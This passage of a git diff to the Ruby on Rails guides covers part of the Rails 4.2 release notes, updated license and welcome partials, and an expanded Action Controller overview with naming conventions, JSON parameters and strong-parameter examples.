+ turbolinks integration.
+ ([Commit](https://github.com/rails/rails/commit/bf17c8a531bc8059d50ad731398002a3e7162a7d))
+
+* Introduced a `bin/setup` script as a convention for automated setup code when
+ bootstrapping an application.
+ ([Pull Request](https://github.com/rails/rails/pull/15189))
+
+* Changed the default value for `config.assets.digest` to `true` in development.
+ ([Pull Request](https://github.com/rails/rails/pull/15155))
+
+* Introduced an API to register new extensions for `rake notes`.
+ ([Pull Request](https://github.com/rails/rails/pull/14379))
+
+* Introduced an `after_bundle` callback for use in Rails templates.
+ ([Pull Request](https://github.com/rails/rails/pull/16359))
+
+* Introduced `Rails.gem_version` as a convenience method to return
+ `Gem::Version.new(Rails.version)`.
+ ([Pull Request](https://github.com/rails/rails/pull/14101))
+
+
+Action Pack
+-----------
+
+Please refer to the [Changelog][action-pack] for detailed changes.
+
+### Removals
+
+* `respond_with` and the class-level `respond_to` have been removed from Rails and
+ moved to the `responders` gem (version 2.0). Add `gem 'responders', '~> 2.0'`
+ to your `Gemfile` to continue using these features.
+ ([Pull Request](https://github.com/rails/rails/pull/16526),
+ [More Details](http://guides.rubyonrails.org/upgrading_ruby_on_rails.html#responders))
+
+* Removed deprecated `AbstractController::Helpers::ClassMethods::MissingHelperError`
+ in favor of `AbstractController::Helpers::MissingHelperError`.
+ ([Commit](https://github.com/rails/rails/commit/a1ddde15ae0d612ff2973de9cf768ed701b594e8))
+
+### Deprecations
+
+* Deprecated the `only_path` option on `*_path` helpers.
+ ([Commit](https://github.com/rails/rails/commit/aa1fadd48fb40dd9396a383696134a259aa59db9))
+
+* Deprecated `assert_tag`, `assert_no_tag`, `find_tag` and `find_all_tag` in
+ favor of `assert_select`.
+ ([Commit](https://github.com/rails/rails-dom-testing/commit/b12850bc5ff23ba4b599bf2770874dd4f11bf750))
+
+* Deprecated support for setting the `:to` option of a router to a symbol or a
+ string that does not contain a "#" character:
+
+ ```ruby
+ get '/posts', to: MyRackApp => (No change necessary)
+ get '/posts', to: 'post#index' => (No change necessary)
+ get '/posts', to: 'posts' => get '/posts', controller: :posts
+ get '/posts', to: :index => get '/posts', action: :index
+ ```
+
+ ([Commit](https://github.com/rails/rails/commit/cc26b6b7bccf0eea2e2c1a9ebdcc9d30ca7390d9))
+
+* Deprecated support for string keys in URL helpers:
+
+ ```ruby
+ # bad
+ root_path('controller' => 'posts', 'action' => 'index')
+
+ # good
+ root_path(controller: 'posts', action: 'index')
+ ```
+
+ ([Pull Request](https://github.com/rails/rails/pull/17743))
+
+### Notable changes
+
+* The `*_filter` family of methods have been removed from the documentation. Their
+ usage is discouraged in favor of the `*_action` family of methods:
+
+ ```
+ after_filter => after_action
+ append_after_filter => append_after_action
+ append_around_filter => append_around_action
+ append_before_filter => append_before_action
+ around_filter => around_action
+ before_filter => before_action
+ prepend_after_filter => prepend_after_action
+ prepend_around_filter => prepend_around_action
+ prepend_before_filter => prepend_before_action
+ skip_after_filter => skip_after_action
+ skip_around_filter => skip_around_action
+ skip_before_filter => skip_before_action
+ skip_filter => skip_action_callback
+ ```
+
+ If your application currently depends on these methods, you should use the
+ replacement `*_action` methods instead. These methods will be deprecated in
+ the future and will eventually be removed from Rails.
+
+ (Commit [1](https://github.com/rails/rails/commit/6c5f43bab8206747a8591435b2aa0ff7051ad3de),
+ [2](https://github.com/rails/rails/commit/489a8f2a44dc9cea09154ee1ee2557d1f037c7d4))
+
+* `render nothing: true` or rendering a `nil` body no longer add a single
+ space padding to the response body.
+ ([Pull Request](https://github.com/rails/rails/pull/14883))
+
+* Rails now automatically includes the template's digest in ETags.
+ ([Pull Request](https://github.com/rails/rails/pull/16527))
+
+* Segments that are passed into URL helpers are now automatically escaped.
+ ([Commit](https://github.com/rails/rails/commit/5460591f0226a9d248b7b4f89186bd5553e7768f))
+
+* Introduced the `always_permitted_parameters` option to configure which
+ parameters are permitted globally. The default value of this configuration
+ is `['controller', 'action']`.
+ ([Pull Request](https://github.com/rails/rails/pull/15933))
+
+* Added the HTTP method `MKCALENDAR` from [RFC 4791](https://tools.ietf.org/html/rfc4791).
+ ([Pull Request](https://github.com/rails/rails/pull/15121))
+
+* `*_fragment.action_controller` notifications now include the controller
+ and action name in the payload.
+ ([Pull Request](https://github.com/rails/rails/pull/14137))
+
+* Improved the Routing Error page with fuzzy matching for route search.
+ ([Pull Request](https://github.com/rails/rails/pull/14619))
+
+* Added an option to disable logging of CSRF failures.
+ ([Pull Request](https://github.com/rails/rails/pull/14280))
+
+* When the Rails server is set to serve static assets, gzip assets will now be
+ served if the client supports it and a pre-generated gzip file (`.gz`) is on disk.
+ By default the asset pipeline generates `.gz` files for all compressible assets.
+ Serving gzip files minimizes data transfer and speeds up asset requests. Always
+ [use a CDN](http://guides.rubyonrails.org/asset_pipeline.html#cdns) if you are
+ serving assets from your Rails server in production.
+ ([Pull Request](https://github.com/rails/rails/pull/16466))
+
+Action View
+-----------
+
+Please refer to the [Changelog][action-view] for detailed changes.
+
+### Deprecations
+
+* Deprecated `AbstractController::Base.parent_prefixes`.
+ Override `AbstractController::Base.local_prefixes` when you want to change
+ where to find views.
+ ([Pull Request](https://github.com/rails/rails/pull/15026))
+
+* Deprecated `ActionView::Digestor#digest(name, format, finder, options = {})`.
+ Arguments should be passed as a hash instead.
+ ([Pull Request](https://github.com/rails/rails/pull/14243))
+
+### Notable changes
+
+* `render "foo/bar"` now expands to `render template: "foo/bar"` instead of
+ `render file: "foo/bar"`.
+ ([Pull Request](https://github.com/rails/rails/pull/16888))
+
+* The form helpers no longer generate a `<div>` element with inline CSS around
+ the hidden fields.
+ ([Pull Request](https://github.com/rails/rails/pull/14738))
+
+* Introduced a `#{partial_name}_iteration` special local variable for use with
+ partials that are rendered with a collection. It provides access to the
+ current state of the iteration via the `index`, `size`, `first?` and
+ `last?` methods.
+ ([Pull Request](https://github.com/rails/rails/pull/7698))
+
+* Placeholder I18n follows the same convention as `label` I18n.
+ ([Pull Request](https://github.com/rails/rails/pull/16438))
+
+* When calling the `process` helpers in an integration test the path needs to have
+ a leading slash. Previously you could omit it but that was a byproduct of the
+ implementation and not an intentional feature, e.g.:
+
+ ```ruby
+   test "list all posts" do
+     get "/posts"
+     assert_response :success 
+ end
+ ```
+
+
+Action Mailer
+-------------
+
+Please refer to the [Changelog][action-mailer] for detailed changes.
+
+### Deprecations
+
+* Deprecated `*_path` helpers in mailers. Always use `*_url` helpers instead.
+ ([Pull Request](https://github.com/rails/rails/pull/15840))
+
+* Deprecated `deliver` / `deliver!` in favor of `deliver_now` / `deliver_now!`.
+ ([Pull Request](https://github.com/rails/rails/pull/16582))
+
+### Notable changes
+
+* `link_to` and `url_for` generate absolute URLs by default in templates,
+ it is no longer needed to pass `only_path: false`.
+ ([Commit](https://github.com/rails/rails/commit/9685080a7677abfa5d288a81c3e078368c6bb67c))
+
+* Introduced `deliver_later` which enqueues a job on the application's queue
+ to deliver emails asynchronously.
+ ([Pull Request](https://github.com/rails/rails/pull/16485))
+
+* Added the `show_previews` configuration option for enabling mailer previews
+ outside of the development environment.
+ ([Pull Request](https://github.com/rails/rails/pull/15970))
+
+
+Active Record
+-------------
+
+Please refer to the [Changelog][active-record] for detailed changes.
+
+### Removals
+
+* Removed `cache_attributes` and friends. All attributes are cached.
+ ([Pull Request](https://github.com/rails/rails/pull/15429))
+
+* Removed deprecated method `ActiveRecord::Base.quoted_locking_column`.
+ ([Pull Request](https://github.com/rails/rails/pull/15612))
+
+* Removed deprecated `ActiveRecord::Migrator.proper_table_name`. Use the
+ `proper_table_name` instance method on `ActiveRecord::Migration` instead.
+ ([Pull Request](https://github.com/rails/rails/pull/15512))
+
+* Removed unused `:timestamp` type. Transparently alias it to `:datetime`
+ in all cases. Fixes inconsistencies when column types are sent outside of
+ Active Record, such as for XML serialization.
+ ([Pull Request](https://github.com/rails/rails/pull/15184))
+
+### Deprecations
+
+* Deprecated swallowing of errors inside `after_commit` and `after_rollback`.
+ ([Pull Request](https://github.com/rails/rails/pull/16537))
+
+* Deprecated broken support for automatic detection of counter caches on
+ `has_many :through` associations. You should instead manually specify the
+ counter cache on the `has_many` and `belongs_to` associations for the
+ through records.
+ ([Pull Request](https://github.com/rails/rails/pull/15754))
+
+* Deprecated passing Active Record objects to `.find` or `.exists?`. Call
+ `id` on the objects first.
+ (Commit [1](https://github.com/rails/rails/commit/d92ae6ccca3bcfd73546d612efaea011270bd270),
+ [2](https://github.com/rails/rails/commit/d35f0033c7dec2b8d8b52058fb8db495d49596f7))
+
+* Deprecated half-baked support for PostgreSQL range values with excluding
+ beginnings. We currently map PostgreSQL ranges to Ruby ranges. This conversion
+ is not fully possible because Ruby ranges do not support excluded beginnings.
+
+ The current solution of incrementing the beginning is not correct
+ and is now deprecated. For subtypes where we don't know how to increment
+ (e.g. `succ` is not defined) it will raise an `ArgumentError` for ranges
+ with excluding beginnings.
+ ([Commit](https://github.com/rails/rails/commit/91949e48cf41af9f3e4ffba3e5eecf9b0a08bfc3))
+
+* Deprecated calling `DatabaseTasks.load_schema` without a connection. Use
+ `DatabaseTasks.load_schema_current` instead.
+ ([Commit](https://github.com/rails/rails/commit/f15cef67f75e4b52fd45655d7c6ab6b35623c608))
+
+* Deprecated `sanitize_sql_hash_for_conditions` without replacement. Using a
+ `Relation` for performing queries and updates is the preferred API.
+ ([Commit](https://github.com/rails/rails/commit/d5902c9e))
+
+* Deprecated `Reflection#source_macro` without replacement as it is no longer
+ needed in Active Record.
+ ([Pull Request](https://github.com/rails/rails/pull/16373))
+
+* Deprecated `serialized_attributes` without replacement.
+ ([Pull Request](https://github.com/rails/rails/pull/15704))
+
+* Deprecated returning `nil` from `column_for_attribute` when no column
+ exists. It will return a null object in Rails 5.0.
+ ([Pull Request](https://github.com/rails/rails/pull/15878))
+
+* Deprecated using `.joins`, `.preload` and `.eager_load` with associations
+ that depend on the instance state (i.e. those defined with a scope that
+ takes an argument) without replacement.
+ ([Commit](https://github.com/rails/rails/commit/ed56e596a0467390011bc9d56d462539776adac1))
+
+### Notable changes
+
+* Added a `:required` option to singular associations, which defines a
+ presence validation on the association.
+ ([Pull Request](https://github.com/rails/rails/pull/16056))
+
+* `ActiveRecord::Dirty` now detects in-place changes to mutable values.
+ Serialized attributes on Active Record models are no longer saved when
+ unchanged. This also works with other types such as string columns and json
+ columns on PostgreSQL.
+ (Pull Requests [1](https://github.com/rails/rails/pull/15674),
+ [2](https://github.com/rails/rails/pull/15786),
+ [3](https://github.com/rails/rails/pull/15788))
+
+* Introduced the `db:purge` Rake task to empty the database for the
+ current environment.
+ ([Commit](https://github.com/rails/rails/commit/e2f232aba15937a4b9d14bd91e0392c6d55be58d))
+
+* Introduced `ActiveRecord::Base#validate!` that raises
+ `ActiveRecord::RecordInvalid` if the record is invalid.
+ ([Pull Request](https://github.com/rails/rails/pull/8639))
+
+* Introduced `validate` as an alias for `valid?`.
+ ([Pull Request](https://github.com/rails/rails/pull/14456))
+
+* `touch` now accepts multiple attributes to be touched at once.
+ ([Pull Request](https://github.com/rails/rails/pull/14423))
+
+* The PostgreSQL adapter now supports the `jsonb` datatype in PostgreSQL 9.4+.
+ ([Pull Request](https://github.com/rails/rails/pull/16220))
+
+* The PostgreSQL and SQLite adapters no longer add a default limit of 255
+ characters on string columns.
+ ([Pull Request](https://github.com/rails/rails/pull/14579))
+
+* Added support for the `citext` column type in the PostgreSQL adapter.
+ ([Pull Request](https://github.com/rails/rails/pull/12523))
+
+* Added support for user-created range types in the PostgreSQL adapter.
+ ([Commit](https://github.com/rails/rails/commit/4cb47167e747e8f9dc12b0ddaf82bdb68c03e032))
+
+* `sqlite3:///some/path` now resolves to the absolute system path
+ `/some/path`. For relative paths, use `sqlite3:some/path` instead.
+ (Previously, `sqlite3:///some/path` resolved to the relative path
+ `some/path`. This behavior was deprecated on Rails 4.1).
+ ([Pull Request](https://github.com/rails/rails/pull/14569))
+
+* Added support for fractional seconds for MySQL 5.6 and above.
+ (Pull Request [1](https://github.com/rails/rails/pull/8240),
+ [2](https://github.com/rails/rails/pull/14359))
+
+* Added `ActiveRecord::Base#pretty_print` to pretty print models.
+ ([Pull Request](https://github.com/rails/rails/pull/15172))
+
+* `ActiveRecord::Base#reload` now behaves the same as `m = Model.find(m.id)`,
+ meaning that it no longer retains the extra attributes from custom
+ `SELECT`s.
+ ([Pull Request](https://github.com/rails/rails/pull/15866))
+
+* `ActiveRecord::Base#reflections` now returns a hash with string keys instead
+ of symbol keys. ([Pull Request](https://github.com/rails/rails/pull/17718))
+
+* The `references` method in migrations now supports a `type` option for
+ specifying the type of the foreign key (e.g. `:uuid`).
+ ([Pull Request](https://github.com/rails/rails/pull/16231))
+
+Active Model
+------------
+
+Please refer to the [Changelog][active-model] for detailed changes.
+
+### Removals
+
+* Removed deprecated `Validator#setup` without replacement.
+ ([Pull Request](https://github.com/rails/rails/pull/10716))
+
+### Deprecations
+
+* Deprecated `reset_#{attribute}` in favor of `restore_#{attribute}`.
+ ([Pull Request](https://github.com/rails/rails/pull/16180))
+
+* Deprecated `ActiveModel::Dirty#reset_changes` in favor of
+ `clear_changes_information`.
+ ([Pull Request](https://github.com/rails/rails/pull/16180))
+
+### Notable changes
+
+* Introduced `validate` as an alias for `valid?`.
+ ([Pull Request](https://github.com/rails/rails/pull/14456))
+
+* Introduced the `restore_attributes` method in `ActiveModel::Dirty` to restore
+ the changed (dirty) attributes to their previous values.
+ (Pull Request [1](https://github.com/rails/rails/pull/14861),
+ [2](https://github.com/rails/rails/pull/16180))
+
+* `has_secure_password` no longer disallows blank passwords (i.e. passwords
+ that contains only spaces) by default.
+ ([Pull Request](https://github.com/rails/rails/pull/16412))
+
+* `has_secure_password` now verifies that the given password is less than 72
+ characters if validations are enabled.
+ ([Pull Request](https://github.com/rails/rails/pull/15708))
+
+Active Support
+--------------
+
+Please refer to the [Changelog][active-support] for detailed changes.
+
+### Removals
+
+* Removed deprecated `Numeric#ago`, `Numeric#until`, `Numeric#since`,
+ `Numeric#from_now`.
+ ([Commit](https://github.com/rails/rails/commit/f1eddea1e3f6faf93581c43651348f48b2b7d8bb))
+
+* Removed deprecated string based terminators for `ActiveSupport::Callbacks`.
+ ([Pull Request](https://github.com/rails/rails/pull/15100))
+
+### Deprecations
+
+* Deprecated `Kernel#silence_stderr`, `Kernel#capture` and `Kernel#quietly`
+ without replacement.
+ ([Pull Request](https://github.com/rails/rails/pull/13392))
+
+* Deprecated `Class#superclass_delegating_accessor`, use
+ `Class#class_attribute` instead.
+ ([Pull Request](https://github.com/rails/rails/pull/14271))
+
+* Deprecated `ActiveSupport::SafeBuffer#prepend!` as
+ `ActiveSupport::SafeBuffer#prepend` now performs the same function.
+ ([Pull Request](https://github.com/rails/rails/pull/14529))
+
+### Notable changes
+
+* Introduced a new configuration option `active_support.test_order` for
+ specifying the order test cases are executed. This option currently defaults
+ to `:sorted` but will be changed to `:random` in Rails 5.0.
+ ([Commit](https://github.com/rails/rails/commit/53e877f7d9291b2bf0b8c425f9e32ef35829f35b))
+
+* `Object#try` and `Object#try!` can now be used without an explicit receiver in the block.
+ ([Commit](https://github.com/rails/rails/commit/5e51bdda59c9ba8e5faf86294e3e431bd45f1830),
+ [Pull Request](https://github.com/rails/rails/pull/17361))
+
+* The `travel_to` test helper now truncates the `usec` component to 0.
+ ([Commit](https://github.com/rails/rails/commit/9f6e82ee4783e491c20f5244a613fdeb4024beb5))
+
+* Introduced `Object#itself` as an identity function.
+ (Commit [1](https://github.com/rails/rails/commit/702ad710b57bef45b081ebf42e6fa70820fdd810),
+ [2](https://github.com/rails/rails/commit/64d91122222c11ad3918cc8e2e3ebc4b0a03448a))
+
+* `Object#with_options` can now be used without an explicit receiver in the block.
+ ([Pull Request](https://github.com/rails/rails/pull/16339))
+
+* Introduced `String#truncate_words` to truncate a string by a number of words.
+ ([Pull Request](https://github.com/rails/rails/pull/16190))
+
+* Added `Hash#transform_values` and `Hash#transform_values!` to simplify a
+ common pattern where the values of a hash must change, but the keys are left
+ the same.
+ ([Pull Request](https://github.com/rails/rails/pull/15819))
+
+* The `humanize` inflector helper now strips any leading underscores.
+ ([Commit](https://github.com/rails/rails/commit/daaa21bc7d20f2e4ff451637423a25ff2d5e75c7))
+
+* Introduced `Concern#class_methods` as an alternative to
+ `module ClassMethods`, as well as `Kernel#concern` to avoid the
+ `module Foo; extend ActiveSupport::Concern; end` boilerplate.
+ ([Commit](https://github.com/rails/rails/commit/b16c36e688970df2f96f793a759365b248b582ad))
+
+
+Credits
+-------
+
+See the
+[full list of contributors to Rails](http://contributors.rubyonrails.org/) for
+the many people who spent many hours making Rails the stable and robust
+framework it is today. Kudos to all of them.
+
+[railties]: https://github.com/rails/rails/blob/4-2-stable/railties/CHANGELOG.md
+[action-pack]: https://github.com/rails/rails/blob/4-2-stable/actionpack/CHANGELOG.md
+[action-view]: https://github.com/rails/rails/blob/4-2-stable/actionview/CHANGELOG.md
+[action-mailer]: https://github.com/rails/rails/blob/4-2-stable/actionmailer/CHANGELOG.md
+[active-record]: https://github.com/rails/rails/blob/4-2-stable/activerecord/CHANGELOG.md
+[active-model]: https://github.com/rails/rails/blob/4-2-stable/activemodel/CHANGELOG.md
+[active-support]: https://github.com/rails/rails/blob/4-2-stable/activesupport/CHANGELOG.md
diff --git a/guides/source/_license.html.erb b/guides/source/_license.html.erb
index 00b4466f50..d22f016948 100644
--- a/guides/source/_license.html.erb
+++ b/guides/source/_license.html.erb
@@ -1,2 +1,2 @@
-<p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-Share Alike 3.0</a> License</p>
+<p>This work is licensed under a <a href="https://creativecommons.org/licenses/by-sa/4.0/">Creative Commons Attribution-ShareAlike 4.0 International</a> License</p>
<p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p>
diff --git a/guides/source/_welcome.html.erb b/guides/source/_welcome.html.erb
index a50961a0c7..614d69ecdd 100644
--- a/guides/source/_welcome.html.erb
+++ b/guides/source/_welcome.html.erb
@@ -10,10 +10,10 @@
</p>
<% else %>
<p>
- These are the new guides for Rails 3.2 based on <a href="https://github.com/rails/rails/tree/<%= @version %>"><%= @version %></a>.
+ These are the new guides for Rails 4.2 based on <a href="https://github.com/rails/rails/tree/<%= @version %>"><%= @version %></a>.
These guides are designed to make you immediately productive with Rails, and to help you understand how all of the pieces fit together.
</p>
<% end %>
<p>
- The guides for Rails 2.3.x are available at <a href="http://guides.rubyonrails.org/v2.3.11/">http://guides.rubyonrails.org/v2.3.11/</a>.
+ The guides for earlier releases: <a href="http://guides.rubyonrails.org/v4.1.8/">Rails 4.1.8</a>, <a href="http://guides.rubyonrails.org/v4.0.12/">Rails 4.0.12</a>, <a href="http://guides.rubyonrails.org/v3.2.21/">Rails 3.2.21</a> and <a href="http://guides.rubyonrails.org/v2.3.11/">Rails 2.3.11</a>.
</p>
diff --git a/guides/source/action_controller_overview.md b/guides/source/action_controller_overview.md
index 46ff9027fd..1ca0d9ed55 100644
--- a/guides/source/action_controller_overview.md
+++ b/guides/source/action_controller_overview.md
@@ -6,6 +6,7 @@ In this guide you will learn how controllers work and how they fit into the requ
After reading this guide, you will know:
* How to follow the flow of a request through a controller.
+* How to restrict parameters passed to your controller.
* Why and how to store data in the session or cookies.
* How to work with filters to execute code during request processing.
* How to use Action Controller's built-in HTTP authentication.
@@ -26,6 +27,16 @@ A controller can thus be thought of as a middle man between models and views. It
NOTE: For more details on the routing process, see [Rails Routing from the Outside In](routing.html).
+Controller Naming Convention
+----------------------------
+
+The naming convention of controllers in Rails favors pluralization of the last word in the controller's name, although it is not strictly required (e.g. `ApplicationController`). For example, `ClientsController` is preferable to `ClientController`, `SiteAdminsController` is preferable to `SiteAdminController` or `SitesAdminsController`, and so on.
+
+Following this convention will allow you to use the default route generators (e.g. `resources`, etc) without needing to qualify each `:path` or `:controller`, and keeps URL and path helpers' usage consistent throughout your application. See [Layouts & Rendering Guide](layouts_and_rendering.html) for more details.
+
+NOTE: The controller naming convention differs from the naming convention of models, which are expected to be named in singular form.
+
+
Methods and Actions
-------------------
@@ -38,7 +49,7 @@ class ClientsController < ApplicationController
end
```
-As an example, if a user goes to `/clients/new` in your application to add a new client, Rails will create an instance of `ClientsController` and run the `new` method. Note that the empty method from the example above could work just fine because Rails will by default render the `new.html.erb` view unless the action says otherwise. The `new` method could make available to the view a `@client` instance variable by creating a new `Client`:
+As an example, if a user goes to `/clients/new` in your application to add a new client, Rails will create an instance of `ClientsController` and run the `new` method. Note that the empty method from the example above would work just fine because Rails will by default render the `new.html.erb` view unless the action says otherwise. The `new` method could make available to the view a `@client` instance variable by creating a new `Client`:
```ruby
def new
@@ -58,7 +69,7 @@ Parameters
You will probably want to access data sent in by the user or other parameters in your controller actions. There are two kinds of parameters possible in a web application. The first are parameters that are sent as part of the URL, called query string parameters. The query string is everything after "?" in the URL. The second type of parameter is usually referred to as POST data. This information usually comes from an HTML form which has been filled in by the user. It's called POST data because it can only be sent as part of an HTTP POST request. Rails does not make any distinction between query string parameters and POST parameters, and both are available in the `params` hash in your controller:
```ruby
-class ClientsController < ActionController::Base
+class ClientsController < ApplicationController
# This action uses query string parameters because it gets run
# by an HTTP GET request, but this does not make any difference
# to the way in which the parameters are accessed. The URL for
@@ -101,6 +112,10 @@ NOTE: The actual URL in this example will be encoded as "/clients?ids%5b%5d=1&id
The value of `params[:ids]` will now be `["1", "2", "3"]`. Note that parameter values are always strings; Rails makes no attempt to guess or cast the type.
+NOTE: Values such as `[]`, `[nil]` or `[nil, nil, ...]` in `params` are replaced
+with `nil` for security reasons by default. See [Security Guide](security.html#unsafe-query-generation)
+for more information.
+
To send a hash you include the key name inside the brackets:
```html
@@ -112,23 +127,23 @@ To send a hash you include the key name inside the brackets:
</form>
```
-When this form is submitted, the value of `params[:client]` will be `{"name" => "Acme", "phone" => "12345", "address" => {"postcode" => "12345", "city" => "Carrot City"}}`. Note the nested hash in `params[:client][:address]`.
+When this form is submitted, the value of `params[:client]` will be `{ "name" => "Acme", "phone" => "12345", "address" => { "postcode" => "12345", "city" => "Carrot City" } }`. Note the nested hash in `params[:client][:address]`.
-Note that the `params` hash is actually an instance of `HashWithIndifferentAccess` from Active Support, which acts like a hash that lets you use symbols and strings interchangeably as keys.
+Note that the `params` hash is actually an instance of `ActiveSupport::HashWithIndifferentAccess`, which acts like a hash but lets you use symbols and strings interchangeably as keys.
-### JSON/XML parameters
+### JSON parameters
-If you're writing a web service application, you might find yourself more comfortable on accepting parameters in JSON or XML format. Rails will automatically convert your parameters into `params` hash, which you'll be able to access like you would normally do with form data.
+If you're writing a web service application, you might find yourself more comfortable accepting parameters in JSON format. If the "Content-Type" header of your request is set to "application/json", Rails will automatically convert your parameters into the `params` hash, which you can access as you would normally.
-So for example, if you are sending this JSON parameter:
+So for example, if you are sending this JSON content:
```json
{ "company": { "name": "acme", "address": "123 Carrot Street" } }
```
-You'll get `params[:company]` as `{ :name => "acme", "address" => "123 Carrot Street" }`.
+You'll get `params[:company]` as `{ "name" => "acme", "address" => "123 Carrot Street" }`.
-Also, if you've turned on `config.wrap_parameters` in your initializer or calling `wrap_parameters` in your controller, you can safely omit the root element in the JSON/XML parameter. The parameters will be cloned and wrapped in the key according to your controller's name by default. So the above parameter can be written as:
+Also, if you've turned on `config.wrap_parameters` in your initializer or calling `wrap_parameters` in your controller, you can safely omit the root element in the JSON parameter. The parameters will be cloned and wrapped in the key according to your controller's name by default. So the above parameter can be written as:
```json
{ "name": "acme", "address": "123 Carrot Street" }
@@ -137,17 +152,19 @@ Also, if you've turned on `config.wrap_parameters` in your initializer or callin
And assume that you're sending the data to `CompaniesController`, it would then be wrapped in `:company` key like this:
```ruby
-{ :name => "acme", :address => "123 Carrot Street", :company => { :name => "acme", :address => "123 Carrot Street" }}
+{ name: "acme", address: "123 Carrot Street", company: { name: "acme", address: "123 Carrot Street" } }
```
You can customize the name of the key or specific parameters you want to wrap by consulting the [API documentation](http://api.rubyonrails.org/classes/ActionController/ParamsWrapper.html)
+NOTE: Support for parsing XML parameters has been extracted into a gem named `actionpack-xml_parser`
+
### Routing Parameters
The `params` hash will always contain the `:controller` and `:action` keys, but you should use the methods `controller_name` and `action_name` instead to access these values. Any other parameters defined by the routing, such as `:id` will also be available. As an example, consider a listing of clients where the list can show either active or inactive clients. We can add a route which captures the `:status` parameter in a "pretty" URL:
```ruby
-match '/clients/:status' => 'clients#index', foo: "bar"
+get '/clients/:status' => 'clients#index', foo: 'bar'
```
In this case, when a user opens the URL `/clients/active`, `params[:status]` will be set to "active". When this route is used, `params[:foo]` will also be set to "bar" just like it was passed in the query string. In the same way `params[:action]` will contain "index".
@@ -168,24 +185,176 @@ These options will be used as a starting point when generating URLs, so it's pos
If you define `default_url_options` in `ApplicationController`, as in the example above, it would be used for all URL generation. The method can also be defined in one specific controller, in which case it only affects URLs generated there.
+### Strong Parameters
+
+With strong parameters, Action Controller parameters are forbidden to
+be used in Active Model mass assignments until they have been
+whitelisted. This means you'll have to make a conscious choice about
+which attributes to allow for mass updating and thus prevent
+accidentally exposing that which shouldn't be exposed.
+
+In addition, parameters can be marked as required and flow through a
+predefined raise/rescue flow to end up as a 400 Bad Request with no
+effort.
+
+```ruby
+class PeopleController < ActionController::Base
+ # This will raise an ActiveModel::ForbiddenAttributes exception
+ # because it's using mass assignment without an explicit permit
+ # step.
+ def create
+ Person.create(params[:person])
+ end
+
+ # This will pass with flying colors as long as there's a person key
+ # in the parameters, otherwise it'll raise a
+ # ActionController::ParameterMissing exception, which will get
+ # caught by ActionController::Base and turned into that 400 Bad
+ # Request reply.
+ def update
+ person = current_account.people.find(params[:id])
+ person.update!(person_params)
+ redirect_to person
+ end
+
+ private
+ # Using a private method to encapsulate the permissible parameters
+ # is just a good pattern since you'll be able to reuse the same
+ # permit list between create and update. Also, you can specialize
+ # this method with per-user checking of permissible attributes.
+ def person_params
+ params.require(:person).permit(:name, :age)
+ end
+end
+```
+
+#### Permitted Scalar Values
+
+Given
+
+```ruby
+params.permit(:id)
+```
+
+the key `:id` will pass the whitelisting if it appears in `params` and
+it has a permitted scalar value associated. Otherwise the key is going
+to be filtered out, so arrays, hashes, or any other objects cannot be
+injected.
+
+The permitted scalar types are `String`, `Symbol`, `NilClass`,
+`Numeric`, `TrueClass`, `FalseClass`, `Date`, `Time`, `DateTime`,
+`StringIO`, `IO`, `ActionDispatch::Http::UploadedFile` and
+`Rack::Test::UploadedFile`.
+
+To declare that the value in `params` must be an array of permitted
+scalar values map the key to an empty array:
+
+```ruby
+params.permit(id: [])
+```
+
+To whitelist an entire hash of parameters, the `permit!` method can be
+used:
+
+```ruby
+params.require(:log_entry).permit!
+```
+
+This will mark the `:log_entry` parameters hash and any sub-hash of it
+permitted. Extreme care should be taken when using `permit!` as it
+will allow all current and future model attributes to be
+mass-assigned.
+
+#### Nested Parameters
+
+You can also use permit on nested parameters, like:
+
+```ruby
+params.permit(:name, { emails: [] },
+ friends: [ :name,
+ { family: [ :name ], hobbies: [] }])
+```
+
+This declaration whitelists the `name`, `emails` and `friends`
+attributes. It is expected that `emails` will be an array of permitted
+scalar values and that `friends` will be an array of resources with
+specific attributes : they should have a `name` attribute (any
+permitted scalar values allowed), a `hobbies` attribute as an array of
+permitted scalar values, and a `family` attribute which is restricted
+to having a `name` (any permitted scalar values allowed, too).
+
+#### More Examples
+
+You want to also use the permitted attributes in the `new`
+action. This raises the problem that you can't use `require` on the
+root key because normally it does not exist when calling `new`:
+
+```ruby
+# using `fetch` you can supply a default and use
+# the Strong Parameters API from there.
+params.fetch(:blog, {}).permit(:title, :author)
+```
+
+`accepts_nested_attributes_for` allows you to update and destroy
+associated records. This is based on the `id` and `_destroy`
+parameters:
+
+```ruby
+# permit :id and :_destroy
+params.require(:author).permit(:name, books_attributes: [:title, :id, :_destroy])
+```
+
+Hashes with integer keys are treated differently and you can declare
+the attributes as if they were direct children. You get these kinds of
+parameters when you use `accepts_nested_attributes_for` in combination
+with a `has_many` association:
+
+```ruby
+# To whitelist the following data:
+# {"book" => {"title" => "Some Book",
+# "chapters_attributes" => { "1" => {"title" => "First Chapter"},
+# "2" => {"title" => "Second Chapter"}}}}
+
+params.require(:book).permit(:title, chapters_attributes: [:title])
+```
+
+#### Outside the Scope of Strong Parameters
+
+The strong parameter API was designed with the most common use cases
+in mind. It is not meant as a silver bullet to handle all your
+whitelisting problems. However you can easily mix the API with your
+own code to adapt to your situation.
+
+Imagine a scenario where you have parameters representing a product
+name and a hash of arbitrary data associated with that product, and
+you want to whitelist the product name attribute but also the whole
+data hash. The strong parameters API doesn't let you directly
+whitelist the whole of a nested hash with any keys, but you can use
+the keys of your nested hash to declare what to whitelist:
+
+```ruby
+def product_params
+ params.require(:product).permit(:name, data: params[:product][:data].try(:keys))
+end
+```
Session
-------
Your application has a session for each user in which you can store small amounts of data that will be persisted between requests. The session is only available in the controller and the view and can use one of a number of different storage mechanisms:
-* ActionDispatch::Session::CookieStore - Stores everything on the client.
-* ActionDispatch::Session::CacheStore - Stores the data in the Rails cache.
-* @ActionDispatch::Session::ActiveRecordStore@ - Stores the data in a database using Active Record. (require `activerecord-session_store` gem).
-* @ActionDispatch::Session::MemCacheStore@ - Stores the data in a memcached cluster (this is a legacy implementation; consider using CacheStore instead).
+* `ActionDispatch::Session::CookieStore` - Stores everything on the client.
+* `ActionDispatch::Session::CacheStore` - Stores the data in the Rails cache.
+* `ActionDispatch::Session::ActiveRecordStore` - Stores the data in a database using Active Record. (require `activerecord-session_store` gem).
+* `ActionDispatch::Session::MemCacheStore` - Stores the data in a memcached cluster (this is a legacy implementation; consider using CacheStore instead).
